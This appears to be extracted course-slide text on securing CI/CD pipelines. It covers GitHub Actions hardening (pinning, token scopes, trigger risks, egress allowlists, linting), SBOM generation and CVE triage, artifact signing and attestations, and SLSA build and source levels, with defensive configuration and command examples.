aws-actions/configure-aws-credentials@*
my-org/*
# block a compromised action (incident)
!tj-actions/changed-files@*Roll-out: find unpinned uses: with zizmor (section 32), let Dependabot/Renovate open pin PRs, then turn on the SHA requirement org-wide. Keep a runbook entry: "block action X" is a one-line policy change.
Pinned SHAs go stale. Automate updates, but let new releases age a few days before you adopt them.
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: github-actions
directory: / # workflows + local actions
schedule:
interval: weekly
groups:
actions:
patterns: ["*"] # one PR for all bumps
cooldown:
default-days: 7 # let releases age
# semver-*-days keys: package ecosystems only
# (gomod, npm, pip...), not github-actionsgithub-actions only default-days applies; semver-major/minor/patch-days work for package ecosystems such as gomod.helpers:pinGitHubActionDigests + minimumReleaseAge.Check the GitHub changelog before relying on any of these; dates below are from GitHub's own posts.
| Control | Status (Nov 2026) | What it does |
|---|---|---|
SHA pinning requirement and ! blocklist | Available since Aug 2025 | Fails unpinned uses:; blocks named actions/versions |
| Immutable OIDC subject claims | Announced Apr 2026; default for new/renamed/transferred repos since 15 Jul 2026 | sub carries owner and repo IDs (chapter 4) |
| Workflow execution protections (rulesets) | GA on 17 Sep 2026 | Allowlist who can trigger workflows and which events can start them |
Default rule disabling pull_request_target on public repos without an event policy | Announced; enforcement scheduled for 2 Dec 2026 | Closes the most common pwn-request entry point |
Workflow dependencies: lock (transitive actions pinned) | Roadmap (Mar 2026); not confirmed shipped | Lock direct and transitive actions to SHAs |
| Native egress firewall, scoped secrets | Roadmap; not confirmed shipped | Use Harden-Runner and environment secrets today |
Teach the principle, not the feature: pin, restrict triggers, restrict egress, scope secrets. The platform is catching up to what you can already do by hand.
Tokens, secrets and cloud roles scoped to one job, one environment, one purpose.
Set the org default to read-only, then declare exactly what each job needs.
# workflow level: nothing by default
permissions: {}
jobs:
test:
permissions:
contents: read
runs-on: ubuntu-latest
steps: [...]
publish:
needs: test
permissions:
contents: read
packages: write # push to GHCR
id-token: write # OIDC to AWS / Sigstore
attestations: write # artifact attestations
runs-on: ubuntu-latest
steps: [...]| Scope | Needed for |
|---|---|
contents: read | checkout |
contents: write | push tags, create releases |
pull-requests: write | comment on / open PRs |
packages: write | push to GHCR |
id-token: write | request an OIDC token |
attestations: write | store artifact attestations |
security-events: write | upload SARIF (CodeQL, Scorecard, zizmor) |
Any scope you list at job level replaces the workflow default for that job; scopes you omit become none.
Prefer no secret at all (OIDC). When you need one, put it in the narrowest scope.
| Scope | Readable by | Use for |
|---|---|---|
| Organization | Selected repos | Shared, low-risk tokens (avoid) |
| Repository | Any workflow on any branch with write access | Non-prod values |
| Environment | Jobs that reference the environment and pass its protection rules | Prod credentials |
main or v* can use prod.The defaults are safe. The dangerous moves are opting out of them.
| Trigger | Code that runs | Secrets | GITHUB_TOKEN | Risk |
|---|---|---|---|---|
pull_request from a fork | The PR's code | None (except GITHUB_TOKEN) | Read-only | Low: designed for untrusted code |
pull_request_target | Base branch workflow; checkout of PR head is up to you | Yes | Read/write possible | High if you check out and run PR code |
workflow_run after a fork PR | Base branch workflow | Yes | Read/write possible | High if you trust artifacts from the PR run |
issue_comment (/deploy bots) | Base branch workflow | Yes | Read/write possible | High: any commenter can trigger |
First-time contributors need maintainer approval before pull_request workflows run. Keep that setting on for public repos.
The untrusted job builds and tests with no secrets. The privileged job never executes PR code.
This is how coverage reports and bot comments work safely for fork PRs. Chapter 8 shows the attack when this split is missing.
Chapter 4 built the trust policy. Hardening is about keeping each role small.
sub for an environment (...:environment:prod), not a branch wildcard.gha-cicd-lab-dev (push to dev ECR) vs gha-cicd-lab-prod (promote).AssumeRoleWithWebIdentity from unexpected sub values in CloudTrail.StringLike on repo:my-org/* — every repo in the org can assume it.AdministratorAccess shared by all repos.id-token: write at workflow level when only one job federates.Assume a step will be compromised. Limit what it can reach and what it can leave behind.
A runner that survives a job can carry an attacker into the next one.
| Runner type | Lifetime | Main risk | Guidance |
|---|---|---|---|
| GitHub-hosted | Fresh VM per job | Egress to anywhere | Default choice; add egress monitoring |
| Self-hosted, persistent | Many jobs | Persistence, credential theft, lateral movement into your network | Avoid; never on public repos |
Self-hosted, ephemeral (--ephemeral, ARC) | One job | Network reach into VPC | Separate runner groups per trust level; restrict by repo |
| Larger runners with private networking | Fresh VM per job | Access to private resources | Scope runner groups to specific repos/workflows |
Runner groups can be limited to selected repositories and selected workflows. Use that to keep a prod-capable runner away from untrusted code.
Most CI payloads exfiltrate over the network. An egress allowlist turns that into a failed job.
steps:
- uses: step-security/harden-runner@<sha> # vX.Y.Z
with:
egress-policy: audit # week 1: learn
# after reviewing the run insights:
- uses: step-security/harden-runner@<sha> # vX.Y.Z
with:
egress-policy: block
allowed-endpoints: >
api.github.com:443
github.com:443
proxy.golang.org:443
sum.golang.org:443
ghcr.io:443
*.dkr.ecr.ap-northeast-1.amazonaws.com:443
sts.amazonaws.com:443Catches: payloads uploading secrets to unknown hosts, install scripts fetching a second stage, dependencies calling home. Exfiltration through allowed hosts (e.g. a new public GitHub repo) still needs token scoping.
persist-credentials: false and other checkout defaultsactions/checkout writes the token into .git/config by default so later steps can push.
- uses: actions/checkout@<sha> # vX.Y.Z
with:
persist-credentials: false # no token in .git
fetch-depth: 1
# later, only the step that must push:
- run: |
U="x-access-token:${GH_TOKEN}"
R="github.com/${GITHUB_REPOSITORY}.git"
git push "https://${U}@${R}" \
HEAD:refs/heads/bot/update
env:
GH_TOKEN: ${{ secrets.BOT_TOKEN }}.git/config.artipacked).Also: never check out PR head code in a pull_request_target job with secrets; never upload ${{ github.workspace }} wholesale; do not trust build outputs restored from a cache without verifying them.
Secrets are exposed per step only through env: and with:. Structure jobs so the risky steps never see them.
env: of the single step that needs them, never at job or workflow level.timeout-minutes on every job (cryptominers love the 6-hour default).concurrency groups so a flood of PRs cannot queue unlimited runs.container:) for tools you do not trust on the host.${{ github.event.* }} inside run:; pass via env: and quote.template-injection.Make the rules machine-checked: actionlint for correctness, zizmor for security, Scorecard for the repo.
A static checker for workflow syntax, expressions, needs graphs and embedded shell (via shellcheck).
# local
brew install actionlint shellcheck
actionlint # checks .github/workflows/*.yml
# in CI: official image (pin by digest)
- run: |
docker run --rm -v "$PWD:/repo" -w /repo \
rhysd/actionlint:<version> -color
# example findings
# property "sha" is not defined ... [expression]
# job "deploy" needs job "biuld" ... [job-needs]
# shellcheck reported issue ... SC2086 [shellcheck]needs.on: filters, cron syntax, runner labels.run: (quoting, globbing).Static analysis of workflows and composite actions for the patterns behind real CI compromises.
# install and run locally
brew install zizmor # or: uvx zizmor / pipx run zizmor
zizmor .github/workflows/
# online audits (resolves tags, checks known-vulnerable actions)
GH_TOKEN=$(gh auth token) zizmor .
# SARIF for code scanning
zizmor --format sarif . > zizmor.sarif| Audit | Finds |
|---|---|
template-injection | ${{ }} with attacker-controlled data in run: |
dangerous-triggers | pull_request_target, workflow_run misuse |
excessive-permissions | Write scopes the job does not need |
unpinned-uses | Actions referenced by tag or branch |
artipacked | Credentials persisted by checkout and uploaded |
cache-poisoning | Caches reused by release workflows |
Start in report-only mode, fix the findings, then make it a required check. Suppress a finding only with an inline comment that explains why.
Automated checks for supply chain practices, from branch protection to pinned dependencies.
# .github/workflows/scorecard.yml
on:
push: {branches: [main]}
schedule: [{cron: "17 3 * * 1"}]
permissions: read-all
jobs:
analysis:
runs-on: ubuntu-latest
permissions:
security-events: write # upload SARIF
id-token: write # publish results
steps:
- uses: actions/checkout@<sha> # vX.Y.Z
with: {persist-credentials: false}
- uses: ossf/scorecard-action@<sha> # vX.Y.Z
with:
results_file: results.sarif
results_format: sarif
publish_results: true
- uses: github/codeql-action/upload-sarif@<sha> # vX.Y.Z
with: {sarif_file: results.sarif}| Check | Chapter |
|---|---|
| Pinned-Dependencies | 9 (actions, images) |
| Token-Permissions | 9 |
| Dangerous-Workflow | 8, 9 |
| Branch-Protection, Code-Review | 3, 6 |
| Dependency-Update-Tool | 6, 9 |
| SAST | 6 |
| Signed-Releases | 11 |
| Vulnerabilities | 10 |
A ruleset on main requires the lint jobs. CODEOWNERS makes workflow changes need a platform review.
# .github/workflows/workflow-lint.yml
on:
pull_request:
paths: [".github/**"]
permissions: {}
jobs:
lint:
runs-on: ubuntu-latest
permissions: {contents: read}
timeout-minutes: 5
steps:
- uses: actions/checkout@<sha> # vX.Y.Z
with: {persist-credentials: false}
- name: actionlint
run: >
docker run --rm -v "$PWD:/repo" -w /repo
rhysd/actionlint:<version> -color
- name: zizmor
run: pipx run zizmor --min-severity medium .github/main: require lint and the build checks; block force pushes.CODEOWNERS: /.github/ @my-org/platform so workflow edits need platform approval.Every control from this chapter in one file. Placeholders <sha> stand for full commit SHAs.
name: build
on:
pull_request:
push:
branches: [main]
permissions: {} # nothing by default
concurrency:
group: build-${{ github.ref }}
cancel-in-progress: true
jobs:
test: # untrusted-safe: no secrets
runs-on: ubuntu-latest
timeout-minutes: 15
permissions: {contents: read}
steps:
- uses: step-security/harden-runner@<sha> # vX.Y.Z
with:
egress-policy: block
allowed-endpoints: >
github.com:443 api.github.com:443 proxy.golang.org:443 sum.golang.org:443
- uses: actions/checkout@<sha> # vX.Y.Z
with: {persist-credentials: false}
- uses: actions/setup-go@<sha> # vX.Y.Z
with: {go-version-file: go.mod}
- run: go vet ./... && go test ./...
The publish job runs only on main, behind the dev environment, with OIDC and no stored keys.
publish:
needs: test
if: github.event_name == 'push'
runs-on: ubuntu-latest
timeout-minutes: 20
environment: dev # protection rules + env secrets
permissions: {contents: read, id-token: write, attestations: write}
steps:
- uses: actions/checkout@<sha> # vX.Y.Z
with: {persist-credentials: false}
- uses: aws-actions/configure-aws-credentials@<sha> # vX.Y.Z
with:
role-to-assume: arn:aws:iam::111122223333:role/gha-cicd-lab
aws-region: ap-northeast-1
- uses: aws-actions/amazon-ecr-login@<sha> # vX.Y.Z
id: ecr
- uses: docker/build-push-action@<sha> # vX.Y.Z
id: build
with:
push: true
tags: ${{ steps.ecr.outputs.registry }}/cicd-lab/hello:${{ github.sha }}
- uses: actions/attest-build-provenance@<sha> # vX.Y.Z
with:
subject-name: ${{ steps.ecr.outputs.registry }}/cicd-lab/hello
subject-digest: ${{ steps.build.outputs.digest }}
push-to-registry: truepermissions: {} at top; scopes per job.uses: pinned by SHA.persist-credentials: false.publish job, behind an environment.${{ github.event.* }} in run:.Each one has appeared in a real incident or audit.
permissions: write-all "to make it work".id-token: write at workflow level.repo:org/* wildcards..git/config) as an artifact.Explain the answer and name the exact setting, key or tool.
cooldown protect against?pull_request run get?pull_request_target + checkout of the PR head dangerous?id-token: write to one job?persist-credentials: false prevent?Practice: Lab 9 in Hands-on labs — pin with Dependabot, read-only token, zizmor and actionlint as required checks, and an OpenSSF Scorecard run.
Know exactly what is inside every image, decide which CVEs actually matter, and fix them on a clock.
A software bill of materials is the ingredient list of an artifact: every package, version and license.
Without an inventory, answering it means rebuilding and scanning every image you ever shipped.
purl) per component.Both are open standards with JSON forms; most tools read and write both. Pick one per organization.
| SPDX | CycloneDX | |
|---|---|---|
| Steward | Linux Foundation (ISO/IEC 5962) | OWASP (ECMA-424) |
| Origins | License compliance | Application security |
| Common versions in tools | 2.3 (3.0 published) | 1.4 – 1.6 |
| Strengths | Licenses, file-level detail, legal use | Vulnerabilities, VEX, services, compact |
| Typical file name | sbom.spdx.json | sbom.cdx.json |
| Attestation predicate | https://spdx.dev/Document | https://cyclonedx.org/bom |
purl field: it is how scanners match packages to advisories.Scanners match on purl; humans read name and version; auditors read licenses and hashes.
{
"bomFormat": "CycloneDX",
"specVersion": "1.6",
"metadata": {
"timestamp": "2026-11-02T03:12:44Z",
"tools": {"components": [{"name": "syft"}]},
"component": {"type": "container",
"name": "cicd-lab/hello",
"version": "sha256:4f1c..."}
},
"components": [
{"type": "library",
"name": "golang.org/x/net",
"version": "v0.33.0",
"purl": "pkg:golang/golang.org/x/net@v0.33.0",
"licenses": [{"license": {"id": "BSD-3-Clause"}}]},
{"type": "operating-system",
"name": "debian", "version": "12"}
]
}pkg:<type>/<namespace>/<name>@<version>?<qualifiers>pkg:golang/golang.org/x/net@v0.33.0pkg:deb/debian/openssl@3.0.15-1~deb12u1?distro=debian-12pkg:npm/%40aws-sdk/client-s3@3.700.0pkg:oci/hello@sha256:4f1c... for the image itself.Syft catalogs OS and language packages from an image, a directory or an archive.
brew install syft
# from an image in a registry (no Docker daemon needed)
IMAGE=$REGISTRY/cicd-lab/hello@sha256:<digest>
syft "$IMAGE" \
-o cyclonedx-json=sbom.cdx.json \
-o spdx-json=sbom.spdx.json
# from source (lock files, go.mod): what you *declare*
syft dir:. -o cyclonedx-json=src.cdx.json
# quick look in the terminal
syft ghcr.io/stefanprodan/podinfo:6.8.0 -o table | head
# convert between formats
syft convert sbom.cdx.json -o spdx-json=out.spdx.json-o format=file flags write several formats from one scan.scratch images.Generate at build time and attach it to the artifact; scan-time SBOMs fill gaps for images you did not build.
docker buildx build --sbom=true stores an SBOM attestation with the image.anchore/sbom-action GitHub Action wraps Syft for workflows.# GitHub Actions: SBOM for the pushed image
- uses: anchore/sbom-action@<sha> # vX.Y.Z
with:
image: ${{ env.IMAGE_AT_DIGEST }}
format: cyclonedx-json
output-file: sbom.cdx.json
upload-artifact: false
# BuildKit SBOM attestation in the same push
- uses: docker/build-push-action@<sha> # vX.Y.Z
with:
push: true
sbom: true
provenance: mode=maxScan-time SBOMs (Inspector, Syft, Trivy on a registry image) cover third-party images you did not build and give fleet inventory, but cannot see what the build removed.
One SBOM per image digest, produced once, stored next to the image, scanned many times.
Scanners find CVEs. Triage decides which ones matter, records the decision, and sets a deadline.
Scanning the SBOM is fast and repeatable: no image pull, same input, different advisory data over time.
# Grype
brew install grype
grype sbom:sbom.cdx.json # table
grype sbom:sbom.cdx.json --fail-on high # exit 1 at High+
grype sbom:sbom.cdx.json --only-fixed # hide unfixable
grype sbom:sbom.cdx.json -o sarif > grype.sarif
# Trivy
brew install trivy
trivy sbom sbom.cdx.json
trivy sbom --severity HIGH,CRITICAL --exit-code 1 sbom.cdx.json
trivy sbom --ignore-unfixed sbom.cdx.json
trivy image --format cyclonedx --output sbom.cdx.json $IMAGEHundreds of findings per image is normal. Rank by exploitability and reachability, not by score alone.
| Signal | Source | Answers |
|---|---|---|
| CVSS | NVD / vendor | How bad if exploited (0–10) |
| EPSS | FIRST | Probability of exploitation in the next 30 days |
| KEV | CISA catalog | Is it known to be exploited in the wild? |
| Fix available | Distro / upstream | Can we act now? |
| Reachability | Your code / VEX | Is the vulnerable code even used? |
CVE=CVE-2024-3094
# EPSS score
curl -s "https://api.first.org/data/v1/epss?cve=$CVE" \
| jq '.data[0] | {cve, epss, percentile}'
# in CISA KEV?
KEV="https://www.cisa.gov/sites/default/files/feeds"
curl -s "$KEV/known_exploited_vulnerabilities.json" \
| jq --arg c "$CVE" \
'.vulnerabilities[] | select(.cveID==$c)'Simple rule set: KEV or high EPSS + fix available → fix now. Critical/High + fix → next sprint. No fix → mitigate and record an exception with expiry. Not reachable → VEX not_affected with justification.
Every finding ends in exactly one state, with an owner and a date.
Measure time-to-fix per severity and the count of open exceptions past expiry. Both go on the chapter 13 dashboard.
Vulnerability Exploitability eXchange states whether a product is affected by a CVE, and why.
{
"@context": "https://openvex.dev/ns/v0.2.0",
"@id": "https://example.com/vex/hello-2026-001",
"author": "platform-security@example.com",
"timestamp": "2026-11-02T00:00:00Z",
"version": 1,
"statements": [{
"vulnerability": {"name": "CVE-2025-12345"},
"products": [{"@id": "pkg:oci/hello@sha256:4f1c..."}],
"status": "not_affected",
"justification": "vulnerable_code_not_in_execute_path",
"impact_statement": "hello never calls the parser"
}]
}not_affected, affected, fixed, under_investigation.not_affected needs a justification such as component_not_present, vulnerable_code_not_present, vulnerable_code_not_in_execute_path, inline_mitigations_already_exist.vexctl create or by hand; review like code.VEX suppresses findings the same way in every tool. Plain ignore files are the fallback, with an expiry.
# Grype and Trivy read OpenVEX
grype sbom:sbom.cdx.json --vex vex/hello.openvex.json
grype sbom:sbom.cdx.json --vex vex/hello.openvex.json --show-suppressed
trivy sbom --vex vex/hello.openvex.json sbom.cdx.json
trivy sbom --vex vex/hello.openvex.json --show-suppressed sbom.cdx.json
# Trivy ignore file with an expiry date (fallback for "accept")
# .trivyignore
# owner: team-hello, ticket SEC-142
CVE-2025-23456 exp:2026-12-31Clocks start when the finding is first seen in a deployed artifact, not when someone looks at it.
| Class | Condition | Fix within |
|---|---|---|
| P0 | KEV listed, internet-facing, fix available | 72 hours |
| P1 | Critical, fix available | 7 days |
| P2 | High, fix available | 30 days |
| P3 | Medium/Low, or no fix | Next base image refresh; review quarterly |
Store SBOMs with the artifact, keep a fleet-wide inventory, and refresh base images on a schedule.
An attestation binds the SBOM to one image digest and to the identity that built it.
# cosign keyless (Sigstore), in a job with id-token: write
cosign attest --yes \
--type cyclonedx \
--predicate sbom.cdx.json \
"$IMAGE@$DIGEST"
# verify later (or in admission, chapter 12)
cosign verify-attestation \
--type cyclonedx \
--certificate-identity-regexp "^$REPO_URL/" \
--certificate-oidc-issuer "$GH_ISSUER" \
"$IMAGE@$DIGEST" \
| jq -r .payload | base64 -d | jq .predicateType
# REPO_URL=https://github.com/<you>/cicd-lab
# GH_ISSUER=https://token.actions.githubusercontent.com# GitHub artifact attestation for the SBOM
- uses: actions/attest-sbom@<sha> # vX.Y.Z
with:
subject-name: ${{ env.REGISTRY }}/cicd-lab/hello
subject-digest: ${{ steps.build.outputs.digest }}
sbom-path: sbom.cdx.json
push-to-registry: true
# verify
gh attestation verify oci://$IMAGE@$DIGEST \
--owner <you> \
--predicate-type https://cyclonedx.org/bomattest-sbom needs id-token: write and attestations: write; sbom-path must be a JSON SBOM (max 16 MB). Chapter 11 covers attestations in depth.
An OWASP platform that ingests CycloneDX SBOMs per project/version and re-evaluates them continuously.
# upload from CI after the SBOM step
DT=https://dtrack.example.com
curl -sf -X POST "$DT/api/v1/bom" \
-H "X-Api-Key: ${DT_API_KEY}" \
-F "autoCreate=true" \
-F "projectName=hello" \
-F "projectVersion=${GITHUB_SHA}" \
-F "bom=@sbom.cdx.json"latest.Enhanced scanning re-evaluates ECR images when new CVEs appear; SBOM export gives you the inventory.
# export SBOMs for one ECR repo to S3
F='ecrRepositoryName=[{comparison=EQUALS,'
F+='value=cicd-lab/hello}]'
D="bucketName=sbom-exports,keyPrefix=hello/"
D+=",kmsKeyArn=$KMS_ARN"
aws inspector2 create-sbom-export \
--report-format CYCLONEDX_1_4 \
--resource-filter-criteria "$F" \
--s3-destination "$D"
aws inspector2 get-sbom-export --report-id <id>Formats: CycloneDX 1.4 and SPDX 2.3 (JSON). The bucket policy and KMS key must allow Inspector to write. SBOM export has no extra charge; enhanced scanning is billed by Inspector.
Your code changes weekly; the OS layer underneath needs the same cadence, even when nobody touches the service.
# Dockerfile: base pinned by digest
FROM golang:1.27@sha256:<digest> AS build
WORKDIR /src
COPY . .
RUN CGO_ENABLED=0 go build -o /hello .
FROM gcr.io/distroless/static-debian12@sha256:<d>
COPY --from=build /hello /hello
USER nonroot
ENTRYPOINT ["/hello"]Scheduled rebuild: a rebuild.yml with on: schedule (weekly) that calls the build workflow via workflow_call. It produces a new digest, SBOM and attestations; promotion to prod still goes through the GitOps PR flow.
Count what changes behavior; raw CVE totals mostly measure base image size.
| Metric | Why | Source |
|---|---|---|
| % deployed images with a build-time SBOM attestation | Coverage of the inventory | Registry / admission audit |
| Open P0/P1 findings in deployed images | Current exposure | Nightly re-scan, Inspector |
| Mean time to remediate per class | Is the SLA realistic? | Ticket timestamps |
| Exceptions past expiry | Governance health | VEX / ignore files in Git |
| Base image age in production (days) | Refresh cadence works? | Image labels / SBOM timestamp |
| Findings per image by base image | Which golden image to fix first | Dependency-Track portfolio |
The usual ways an SBOM program produces paperwork instead of security.
not_affected without a justification.Explain the answer and name the exact command or field.
purl encode, and why do scanners need it?Practice: Lab 10 in Hands-on labs — Syft in SPDX and CycloneDX, a Grype gate, a VEX entry for a false positive, and failing on Critical.
Prove who built an artifact, from which source, on which builder — and give the deploy side something it can verify.
Key-based vs keyless signing, the Sigstore pieces, and what a signature does and does not prove.
Registries are mutable and shared. A signature binds an identity to an exact image digest.
repo@sha256:…), never a tag: tags move.The difference is who manages long-lived secrets: you, or nobody.
| Key-based (cosign key pair, KMS, AWS Signer) | Keyless (Sigstore: Fulcio + Rekor) | |
|---|---|---|
| Signing material | A private key you store: file, KMS key, Signer profile | An ephemeral key pair per signing, thrown away after use |
| Identity | Whoever can use the key | The OIDC identity in the CI token (repo, workflow, ref) |
| Certificate | Optional; key ID is the identity | Short-lived X.509 cert from Fulcio, valid for minutes |
| Proof of time | Optional timestamping | Rekor transparency log entry (and/or timestamp authority) |
| Rotation / revocation | Your job: rotate, revoke, audit key use | Nothing to rotate; revoke by changing policy (trusted identities) |
| Verifier config | Public key or KMS key ARN | Expected issuer + subject (workflow identity) |
| Typical fit | Air-gapped, AWS-native (Signer + Notation), private PKI | GitHub Actions to public or private registries |
Keyless is not "trust Sigstore blindly": you still pin the exact identity you expect. That pinning is the security boundary.
Open-source signing infrastructure run by the OpenSSF; the public-good instance is free to use.
https://token.actions.githubusercontent.com.GitHub artifact attestations use the public-good Sigstore instance for public repositories and a GitHub-run Sigstore instance for private repositories.
No secret is stored anywhere. The job proves its identity with its OIDC token.
Sign the digest output of the build step, not a tag.
permissions:
contents: read
id-token: write # OIDC token for Fulcio (and AWS)
steps:
- uses: sigstore/cosign-installer@<sha-of-v3.x> # pinned
- id: build
uses: docker/build-push-action@<sha-of-v6.x>
with:
push: true
tags: ${{ env.IMAGE }}:${{ github.sha }}
- name: Sign the pushed digest (keyless)
env:
DIGEST: ${{ steps.build.outputs.digest }}
run: cosign sign --yes "${IMAGE}@${DIGEST}"--yes skips the interactive confirmation about uploading to the public transparency log.digest output; pass it through env: (no ${{ }} inside run:).cosign sign --key awskms:///alias/cicd-lab-signing "${IMAGE}@${DIGEST}".A verify command without identity flags would accept a signature from anyone who can get a Fulcio cert.
IMAGE=123456789012.dkr.ecr.ap-northeast-1.amazonaws.com/cicd-lab/hello
cosign verify "$IMAGE@sha256:<digest>" \
--certificate-oidc-issuer https://token.actions.githubusercontent.com \
--certificate-identity \
"https://github.com/<you>/cicd-lab/.github/workflows/release.yml@refs/heads/main"
# allow any tag release from this repo's release workflow
cosign verify "$IMAGE@sha256:<digest>" \
--certificate-oidc-issuer https://token.actions.githubusercontent.com \
--certificate-identity-regexp \
'^https://github\.com/<you>/cicd-lab/\.github/workflows/release\.yml@refs/tags/v[0-9.]+$'^ and $ and escape dots; an unanchored regex trusts look-alike repos.Signed statements about an artifact: how it was built (provenance), what is inside it (SBOM), what was checked.
An attestation is a signed claim about one or more artifacts, identified by digest.
{
"_type": "https://in-toto.io/Statement/v1",
"subject": [{
"name": "<acct>.dkr.ecr.<region>.amazonaws.com/cicd-lab/hello",
"digest": { "sha256": "5f1c…e9" }
}],
"predicateType": "https://slsa.dev/provenance/v1",
"predicate": { "...": "see next slide" }
}predicateType URI.The answer to "how was this digest made?" in a machine-checkable form.
"predicate": {
"buildDefinition": {
"buildType": "https://actions.github.io/buildtypes/workflow/v1",
"externalParameters": {
"workflow": {
"repository": "https://github.com/<you>/cicd-lab",
"path": ".github/workflows/release.yml",
"ref": "refs/tags/v1.4.0" } },
"internalParameters": { "github": { "event_name": "push" } },
"resolvedDependencies": [{
"uri": "git+https://github.com/<you>/cicd-lab@refs/tags/v1.4.0",
"digest": { "gitCommit": "9a3e…" } }]
},
"runDetails": {
"builder": { "id": "https://github.com/<you>/cicd-lab/
.github/workflows/release.yml@refs/tags/v1.4.0" },
"metadata": { "invocationId":
"https://github.com/<you>/cicd-lab/actions/runs/…/attempts/1" }
}
}externalParameters: what a user controlled — check them against expectations (right repo, right workflow, right ref).resolvedDependencies: source commit (and optionally base images, tools).builder.id: the trusted build platform identity; verifiers allow-list it.invocationId: the exact run, for audit and incident response.GitHub generates, signs and stores SLSA provenance for you; no key management.
permissions:
contents: read
id-token: write # sign with the workflow identity
attestations: write # store in GitHub's attestation API
packages: write # only if pushing attestations to GHCR
steps:
- id: build
uses: docker/build-push-action@<sha-of-v6.x>
with: { push: true, tags: "${{ env.IMAGE }}:${{ github.sha }}" }
- uses: actions/attest-build-provenance@<sha-of-v2.x>
with:
subject-name: ${{ env.IMAGE }} # no tag
subject-digest: ${{ steps.build.outputs.digest }}
push-to-registry: true # also store in the registry
# files instead of images
- uses: actions/attest-build-provenance@<sha-of-v2.x>
with:
subject-path: dist/hello-linux-amd64actions/attest action.The consumer-side check: is there a valid attestation for this digest, signed by the workflow I trust?
# image (OCI) — authenticate to the registry first
gh attestation verify \
oci://123456789012.dkr.ecr.ap-northeast-1.amazonaws.com/cicd-lab/hello:v1.4.0 \
--owner <you>
# stricter: only this repo and this signing workflow
gh attestation verify oci://$IMAGE@sha256:<digest> \
--repo <you>/cicd-lab \
--signer-workflow <you>/cicd-lab/.github/workflows/release.yml
# reusable builder in another repo (11.3: Build L3)
gh attestation verify oci://$IMAGE@sha256:<digest> \
--owner <you> \
--signer-repo <you>/build-workflows
# offline / air-gapped: use a downloaded bundle
gh attestation verify dist/hello-linux-amd64 \
--repo <you>/cicd-lab --bundle hello.sigstore.json--owner or --repo is required: it scopes where attestations are fetched and whose identity is accepted.--signer-workflow: require a specific workflow file.--signer-repo: the repo containing the reusable workflow, when it differs from the caller.--predicate-type: check an attestation type other than SLSA provenance (for example an SBOM).--format json prints the verified statements for further policy checks (jq).One digest can carry several attestations: provenance, SBOM, scan results.
# GitHub: SBOM attestation (SPDX or CycloneDX file from Syft, ch 10)
- uses: actions/attest-sbom@<sha-of-v2.x>
with:
subject-name: ${{ env.IMAGE }}
subject-digest: ${{ steps.build.outputs.digest }}
sbom-path: sbom.spdx.json
push-to-registry: true
# cosign: attach any predicate, keyless
cosign attest --yes --type spdxjson \
--predicate sbom.spdx.json "${IMAGE}@${DIGEST}"
cosign verify-attestation --type spdxjson \
--certificate-oidc-issuer https://token.actions.githubusercontent.com \
--certificate-identity-regexp '^https://github\.com/<you>/cicd-lab/' \
"${IMAGE}@${DIGEST}" | jq -r .payload | base64 -d | jq .predicateTypegh or with policies that read GitHub/Sigstore bundles.Supply-chain Levels for Software Artifacts: a ladder of build and source guarantees.
A specification from the OpenSSF. v1.2 is the approved version; it has two tracks.
Each level adds guarantees about the provenance: exists → is authentic → is unforgeable.
| Level | Name | Requirements (summary) | Stops |
|---|---|---|---|
| Build L0 | No guarantees | Nothing | — |
| Build L1 | Provenance exists | Consistent build process; provenance describing how the artifact was built is generated and distributed | Mistakes; gives visibility for debugging and inventory |
| Build L2 | Hosted build platform | Build runs on a hosted platform; provenance is generated and signed by the platform, not by user scripts | Tampering after the build; forged provenance from outside the platform |
| Build L3 | Hardened builds | Runs isolated from each other; signing material not accessible to user-defined build steps; provenance cannot be forged by the build itself | Tampering during the build by a compromised step or a malicious maintainer of one run |
Higher levels are about the platform and how you use it, not about adding more scanners.
Attestations alone give Build L2. Build L3 needs the build and attestation inside a reusable workflow.
actions/attest-build-provenance in the same workflow that builds.gh attestation verify --signer-workflow (or --signer-repo).id-token: write — sign with the workflow identity.attestations: write — store the attestation.contents: read — check out the source.Reference: GitHub docs, "Using artifact attestations and reusable workflows to achieve SLSA v1 Build Level 3".
Repo <you>/build-workflows, protected by rulesets and CODEOWNERS (ch 3, ch 9).
# <you>/build-workflows/.github/workflows/build-image.yml
on:
workflow_call:
inputs:
image: { type: string, required: true }
jobs:
build:
runs-on: ubuntu-latest
permissions:
{ contents: read, id-token: write, attestations: write }
steps:
- uses: actions/checkout@<sha-of-v7.0.1>
- uses: aws-actions/configure-aws-credentials@<sha-of-v4.x>
with:
role-to-assume: arn:aws:iam::123456789012:role/gha-cicd-lab
aws-region: ap-northeast-1
- uses: aws-actions/amazon-ecr-login@<sha-of-v2.x>
- id: push
uses: docker/build-push-action@<sha-of-v6.x>
with:
push: true
tags: ${{ inputs.image }}:${{ github.sha }}
- uses: actions/attest-build-provenance@<sha-of-v2.x>
with:
subject-name: ${{ inputs.image }}
subject-digest: ${{ steps.push.outputs.digest }}
push-to-registry: true# caller: <you>/cicd-lab/.github/workflows/release.yml
on:
push:
tags: ["v*"]
permissions:
contents: read
id-token: write
attestations: write
jobs:
build:
uses: <you>/build-workflows/.github/workflows/
build-image.yml@<sha> # one line in real YAML
with:
image: <acct>.dkr.ecr.ap-northeast-1.amazonaws.com/
cicd-lab/hello # one line in real YAML
# verifier
gh attestation verify oci://$IMAGE@sha256:<digest> \
--owner <you> \
--signer-workflow \
<you>/build-workflows/.github/workflows/build-image.yml
# OIDC to AWS: the token's job_workflow_ref claim names the
# reusable workflow — usable in the IAM trust policy (ch 4)New in v1.2: guarantees about the source revisions that builds consume.
| Level | Focus | What it means in GitHub terms (example) |
|---|---|---|
| Source L1 | Version controlled | Code lives in Git; every build consumes a discrete revision (commit SHA), not a working copy |
| Source L2 | History and provenance | Change history is preserved (no force-push or deletion on protected branches); the platform produces source provenance |
| Source L3 | Continuous technical controls | Organization controls are enforced technically and continuously (rulesets on protected branches and tags, required checks) |
| Source L4 | Two-party review | Every change to protected branches is reviewed by someone other than the author |
Levels and names follow slsa.dev/spec/v1.2/source-requirements; the right column is an illustration, not the spec. Read the spec before claiming a level.
Use it as a roadmap: each row is a chapter you have already studied.
| Goal | Control | Chapter |
|---|---|---|
| Build L1 | Every release is built by a workflow, never on a laptop; provenance generated | 1, 11 |
| Build L2 | GitHub-hosted runners + attest-build-provenance; signed with the workflow identity | 11 |
| Build L3 | Build + attest in a protected reusable workflow; verify --signer-workflow | 3, 11 |
| Source L2–L3 | Rulesets: no force-push, no deletion, required checks on main and release tags | 3, 9 |
